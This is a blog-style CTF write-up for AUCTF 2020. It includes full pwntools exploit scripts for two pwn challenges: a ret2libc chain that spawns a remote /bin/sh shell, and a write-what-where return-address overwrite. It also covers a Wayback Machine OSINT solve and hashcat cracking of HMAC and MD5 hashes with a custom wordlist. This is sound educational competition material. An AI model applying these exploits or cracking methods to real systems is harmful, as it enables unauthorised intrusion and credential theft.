AUCTF 2020 Writeup

Posted on 11th April 2020

Last week I had the opportunity to participate in AUCTF 2020 with the team MonSec, which is a Capture the Flag cybersecurity competition where teams try to "hack into" purposefully vulnerable applications. The Monash Cyber Security Club MonSec did extremely well and out of hundreds of teams placed 9th overall! This post aims to complement Leo's writeup with a few of the challenges I had a hand in solving. I would also like to thank the organisers for this impressive competition with unique categories including password cracking and trivia. Anyway, enjoy!

House of Madness (pwn)

This challenge did cause me to get a bit mad, I'll give it that.
The crux of the challenge was to read the flag given a buffer overflow vulnerability. But how do with find it? There is a lot of fluff in the code, but eventually you will find that you need to enter room 4 and say the magic word Stephen. The binary gives lots of hints, particularly the Quit option which hands it to you on a plate. But what do we do in room 4? Let's disassemble the room4 function with radare it and see how the input is handled...

Disassembly of room4 function in House of Madness binary, showing a call to gets.

It uses gets, meaning buffer overflow is almost inevitable! Using pwn cyclic we get a nice pattern to get the offset we need to the return address, and we can call it a day... except not quite. The executable is compiled with PIE. This means that almost everything in the binary is at some offset. Luckily for us, ASLR is turned off so this offset will not vary between each time the executable is run (thanks bad5ect0r for telling me about this!). Using pwn cyclic again with our debugger (in my case radare) we see that ebx, the register which stores this offset, is 8 bytes before the return address. In order to achieve reliable code execution, we will need to keep this value exactly the same after our overflow, otherwise other function calls will likely fail miserably. Since I was a PIE noob, I wrote a function leak_base_pie() to determine the correct ebx value on the remote through brute force. Turns out it is exactly the same as on my host machine, 0x56559000.

Cool, we have the ebx value and we can control the return address. Where do we return to? Let's look at the list of functions...

Function listing of House of Madness binary, with get_flag highlighted.

get_flag sounds extremely promising, doesn't it? So I return there, but of course it is not that simple - the function wants more from us. Since the assembly is getting a bit dense, let's whip out Ghidra.

Decompiled get_flag through Ghidra.

I tried to fulfil the requirements of the function but I soon gave up and decided to go full hackerman. It was time to ret2libc. Of course the problem was I did not know what libc version ran on the remote server and did not know the correct offsets. By taking advantage of the puts function and giving it the GOT address entries, I could get the "real" addresses of a few functions, including of puts itself and printf. How did I call puts without using its address? I used the more "abstract" PLT address which is always the same (given the PIE offset is the same). pwntools conveniently abstracts this away through the symbols dictionary (addresses you can "just call", for libc functions usually in the PLT as far as I am concerned) and got dictionary for the function pointer table of dynamically resolved addresses. Anyway, the reason we need to do all this is because we want to call system which is never actually called in the binary, and the only way to do that is to get its "real" address. Using libc database search and the two addresses I leaked of puts and printf, we quickly see that the remote server is running libc6_2.23-0ubuntu3_i386.so. With a tad of arithmetic we can easily calculate the right offset to call system with the argument "/bin/sh" which gives us a remote shell. From there, we can extract the flag, and much more if we wanted to.

My extremely-production-grade code to do the above steps is below, some lines are commented because they only needed to be run once (e.g. leaking the real addresses).

from pwn import *

TIMEOUT = 3

elf = ELF('./challenge')
#libc = ELF('./libc.so.6')
libc = ELF('libc6_2.23-0ubuntu3_i386.so')  # found through libc database after leaking puts and printf
func_get_flag = elf.symbols['get_flag']
got_puts = elf.got['puts']
got_printf = elf.got['printf']
func_puts = elf.symbols['puts']
offset_puts = libc.symbols['puts']
offset_printf = libc.symbols['printf']
offset_system = libc.symbols['system']
offset_bin_sh = next(libc.search('/bin/sh\x00'))

padding_to_ret = 'A'*28
padding_to_ebx = 'A'*20

# on my machine, base_pie = 0x56559000

def initialise():
    #p = remote('localhost', 9999)
    p = remote('challenges.auctf.com', 30012)
    p.sendline('2')
    p.sendline('4')
    p.sendline('3')
    p.sendline('Stephen')
    p.sendline('whatever')
    return p


def overflow_ebx(p, value):
    p.sendline('2')
    p.sendline('4')
    p.sendline('3')
    p.clean(TIMEOUT)
    p.sendline(padding_to_ebx + p32(value))


def leak_base_pie():
    for i in range(0xff+1):
        p = initialise()
        guess = 0x56550000 + (i * 0x1000)
        log.info('Guess: ' + hex(guess))
        overflow_ebx(p, guess)
        result = ''
        # try-except we can handle sudden EOF, but also handle timeout case beauce pwntools just sends ''
        try:
            result = p.recvline(timeout=TIMEOUT)
            if len(result) == 0:
                log.warning('Hit timeout')
        except EOFError:
            pass
        if len(result) != 0:
            log.info(result)
            # something was correctly puts-ed, so we guessed right!
            log.success('Correct ebx found: ' + hex(guess))
            return guess
        p.close()
    log.failure('Could not find correct ebx')
    return False


def overflow_ret(p, ebx, value):
    p.sendline('2')
    p.sendline('4')
    p.sendline('3')
    p.clean(TIMEOUT)
    p.sendline(padding_to_ebx + p32(ebx) + 'AAAA' + value)


def leak_address(address):
    p = initialise()
    overflow_ret(p, base_pie, p32(base_offset + func_puts) + 'AAAA' + p32(address))
    return u32(p.recv(4))


#base_pie = leak_base_pie()
# found by running the above function
# yes it is the same as on my machine :O
base_pie = 0x56559000
base_offset = base_pie - 0x4000  # i dunno where this 0x4000 is from but it is necessary to ensure correct offset (just look at debugger)

#puts_address = leak_address(base_offset + got_puts)
#puts_address = 0xf7e4a3b0  # local
puts_address = 0xf7e78b80
#printf_address = leak_address(base_offset + got_printf)
printf_address = 0xf7e62590
#printf_address = 0xf7e2e9a0  # local


libc_base = puts_address - offset_puts
if printf_address - offset_printf != libc_base:
    log.warning('Redundant libc base calculations do not match!')
else:
    log.success('libc base calculated @ ' + hex(libc_base))

func_system = libc_base + offset_system
real_bin_sh = libc_base + offset_bin_sh

p = initialise()
overflow_ret(p, base_pie, p32(func_system) + 'AAAA' + p32(real_bin_sh))
p.interactive()

Remote School (pwn)

This challenge was more pleasant than House of Madness, mostly because I was warmed up :) so PIE was no longer a scary thing.

After looking at strings in the challenge memory, it was clear that Hacker was alongside Algebra and CompSci. After the command attend Hacker we get a special screen, and then a segfault.

'Normal' execution of the Remote School binary, showing an address and a segmentation fault error.

After a bunch of flailing around, I figured out that the test function is where we need to look next. Although input is not directly taken here, we do perform things with the input, namely, copying it to another buffer.

Disassembly of teh test function in the Remote School binary

At first I did not believe the code was vulnerable, but after running pwn cyclic 3000 and feeding in the input it was clear that var_ch and var_10h were being overwritten. If you look at the numbers passed to strncpy as well as the offsets of each local variable, you will realise there are exactly 8 bytes of overflow. But what can we do with these 8 bytes? Well lucky for us the code then proceeds to load the variables into eax and edx. But we still can't overwrite the return address because our overflow is not large enough. Hmm...

Well actually, the binary very conveniently gives us a "write-what-where" primitive mov dword [eax], edx, and we control both of those registers! So, we find out the exact address on the stack where the return address is stored, and set eax to that. Then, we can simply set edx to wherever we want to return to. The print_flag function looks like the perfect target. Locally, the exploit executes fine and we are happy! But unfortunately the same cannot be said about the remote exploit... This is where that weird address that is printed just before the segfault comes in. Again, this is quite unrealistic, but the binary hands us a stack address. Doing basic arithmetic on the address that I get when running the binary locally versus what I get from running it on the remote server, we can easily get the correct offset and correctly overwrite eax. Thankfully, print_flag does not have any tricks up it's sleeve and kindly gives us the flag.

Again, the full code I used is provided below.

from pwn import *

TIMEOUT = 1

elf = ELF('./online')
bss = elf.bss()
func_print_flag = elf.symbols['print_flag']

base_pie = 0x56559000 - 0x4000  # via debugger observation (ebx - the constant to actually be able to add things)
bss_virtual = base_pie + bss

some_server_address = 0xffff9bb8  # printed after taking input in `attend Hacker`
that_address_locally = 0xffff91b8
difference = some_server_address - that_address_locally

return_address_location = 0xffff91bc + difference

# what we are exploiting is buffer overflow in `test` function
offset_to_eax = 2052
offset_to_edx = 2048


def arbitrary_write(p, address, value):
    p.sendline('attend Hacker')
    p.clean(TIMEOUT)
    padding = 'A' * offset_to_edx
    payload =  padding
    payload += p32(value)   # edx = value
    payload += p32(address)  # eax = address (just some place we can write)
    # what happens is mov [eax], edx
    p.sendline(payload)
    # we cannot overflow any further


#p = remote('localhost', 9999)
p = remote('challenges.auctf.com', 30013)
p.sendline('some name')
arbitrary_write(p, return_address_location, base_pie + func_print_flag)
p.interactive()

Good Old Days (OSINT)

We were stuck on this challenge for a lot longer than we would like to admit. The clue was "This site used to look a lot cooler." which immediately implied something like the Wayback Machine by archive.org. However, looking at the index page or even the challenge page did not yield anything.

After doing a bunch of other challenges we decided to give this one a shot again. The Wayback Machine conveniently provides a sitemap feature that had one thing that immediately stood out: ctf.auburn.edu/users/50. Why this particular user? Well guess what, that user was the flag.

Screenshot of archive.org's Wayback Machine's sitemap of ctf.auburn.edu, including ctf.auburn.edu/users/50

Big Mac (password cracking)

We are given

You might need this: thisisasecret
Hash: 5ee9fafd697e40593d66bef8427d40f8beca6921

The title of the challenge is a huge hint - that the hash is actually some sort of MAC. If we use a naive analyser to determine what type the hash is, such as this one, we are told it is sha1. Of course if we try to crack this now we get nowhere because we have not used thisisasecret and no MAC stuff was performed. Let's have a look what hashcat can do...

$ hashcat --help | grep -i sha | grep -i mac
    150 | HMAC-SHA1 (key = $pass)                          | Raw Hash, Authenticated
    160 | HMAC-SHA1 (key = $salt)                          | Raw Hash, Authenticated
   1450 | HMAC-SHA256 (key = $pass)                        | Raw Hash, Authenticated
   1460 | HMAC-SHA256 (key = $salt)                        | Raw Hash, Authenticated
   1750 | HMAC-SHA512 (key = $pass)                        | Raw Hash, Authenticated
   1760 | HMAC-SHA512 (key = $salt)                        | Raw Hash, Authenticated
  12000 | PBKDF2-HMAC-SHA1                                 | Generic KDF
  10900 | PBKDF2-HMAC-SHA256                               | Generic KDF
  12100 | PBKDF2-HMAC-SHA512                               | Generic KDF
  12001 | Atlassian (PBKDF2-HMAC-SHA1)                     | Generic KDF
   7300 | IPMI2 RAKP HMAC-SHA1                             | Network Protocols
  12800 | MS-AzureSync PBKDF2-HMAC-SHA256                  | Operating System
   7100 | macOS v10.8+ (PBKDF2-SHA512)                     | Operating System
  16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256     | Password Managers
  15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256              | Password Managers
  18100 | TOTP (HMAC-SHA1)                                 | One-Time Passwords

They way that we pass the hash along with the salt in hashcat is simply 5ee9fafd697e40593d66bef8427d40f8beca6921:thisisasecret. I first tried mode 150 but did not get the result, so then I attempted 160.

$ hashcat -O -a 0 -m 160 5ee9fafd697e40593d66bef8427d40f8beca6921:thisisasecret wordlists/rockyou.txt

And the plaintext popped right out.

Mental (password cracking)

We are given

Password Format: Color-Country-Fruit
Hash: 17fbf5b2585f6aab45023af5f5250ac3

First I tried creating a couple wordlists by hand hoping that it would be something really simple and easy to guess like Red-USA-Apple. Unluckily for me, this was not the case, and I needed to build a custom wordlist. I found a fantastic resource for words at imsky's GitHub respository and this list of countries by kalinchernev. Now care needed to be taken to capitalise the first letter of each word, as given in the challenge question. So I did what I do best and hacked together a Python script.

colors = []
countries = []
fruits = []

with open('colors', 'r') as color_file:
    for color in color_file:
        colors.append(color.rstrip())

with open('fruits', 'r') as fruit_file:
    for fruit in fruit_file:
        fruits.append(fruit.rstrip())

with open('countries', 'r') as country_file:
    for country in country_file:
        countries.append(country.rstrip())

with open('wordlist', 'w') as f:
    for color in colors:
        for country in countries:
            for fruit in fruits:
                f.write(color.capitalize() + '-' + country.capitalize() + '-' + fruit.capitalize() + '\n')

Sure enough, simply feeding this to hashcat worked beautifully.